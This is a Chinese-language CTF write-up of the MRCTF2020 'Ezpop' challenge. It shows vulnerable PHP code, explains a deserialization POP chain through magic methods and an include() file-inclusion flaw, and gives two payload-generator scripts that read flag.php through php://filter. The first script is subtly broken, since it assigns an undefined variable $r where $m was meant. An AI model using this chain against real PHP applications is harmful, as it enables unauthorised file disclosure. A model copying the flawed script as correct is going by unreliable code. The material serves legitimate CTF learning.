那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例。
题目
1 Welcome to index.php 2 <?php 3 //flag is in flag.php 4 //WTF IS THIS? 5 //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 6 //And Crack It! 7 class Modifier { 8 protected $var; 9 public function append($value){ 10 include($value); 11 } 12 public function __invoke(){ 13 $this->append($this->var); 14 } 15 } 16 17 class Show{ 18 public $source; 19 public $str; 20 public function __construct($file='index.php'){ 21 $this->source = $file; 22 echo 'Welcome to '.$this->source."<br>"; 23 } 24 public function __toString(){ 25 return $this->str->source; 26 } 27 28 public function __wakeup(){ 29 if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { 30 echo "hacker"; 31 $this->source = "index.php"; 32 } 33 } 34 } 35 36 class Test{ 37 public $p; 38 public function __construct(){ 39 $this->p = array(); 40 } 41 42 public function __get($key){ 43 $function = $this->p; 44 return $function(); 45 } 46 } 47 48 if(isset($_GET['pop'])){ 49 @unserialize($_GET['pop']); 50 } 51 else{ 52 $a=new Show; 53 highlight_file(__FILE__); 54 }
分析
将涉及到的魔法函数先列出一下:
__construct 当一个对象创建时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __get() 用于从不可访问的属性读取数据 #难以访问包括:(1)私有属性,(2)没有初始化的属性 __invoke() 当脚本尝试将对象调用为函数时触发
大致分析一下,这道题主要存在两个点:
1.序列化pop链
利用几个类之间相互关联进行构造
2.文件包含漏洞
Modifier类中append函数使用了include(),会出现文件包含漏洞。
详细分析
1.根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。
2._wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;
3.如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。
4.如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。
5.利用文件包含漏洞,使用_invoke()读取flag.php的内容。
Modifier::__invoke()<--Test::__get()<--Show::__toString()
总结
首先反序列化一个实例化的Show($a),就会调用_wakeup(),其中$a会被赋值给source。所以让$a是一个实例化的Show类,这样就会调用_tostring(),然后让里面的$a这个Show类中的str赋值为Test()类,然后让str这个Test()类中的p赋值为Modifier()类。
payload1
1 <?php 2 class Show{ 3 public $source; 4 public $str; 5 } 6 7 class Test{ 8 public $p; 9 10 11 } 12 class Modifier{ 13 protected $var = "php://filter/convert.base64-encode/resource=flag.php"; 14 15 } 16 $s = new Show(); 17 $t = new Test(); 18 $m = new Modifier(); 19 $s->source = $s; 20 $s->str = $t; 21 $t->p = $r; 22 var_dump(urlencode(serialize($s))); 23 24 ?>
payload2
1 <?php 2 class Modifier{ 3 4 protected $var = "php://filter/convert.base64-encode/resource=flag.php"; 5 } 6 7 class Show{ 8 public $source; 9 public $str; 10 public function __construct(){ 11 $this->str = new Test(); 12 13 } 14 15 } 16 class Test{ 17 public $p; 18 public function __construct(){ 19 20 $this->p = new Modifier(); 21 } 22 23 } 24 $a = new Show(); 25 $b = new Show(); 26 $b->str = ""; 27 $b->source = $a; 28 var_dump($b); 29 var_dump(urlencode(serialize($b))); 30 ?>
参考:https://blog.csdn.net/weixin_43952190/article/details/106016260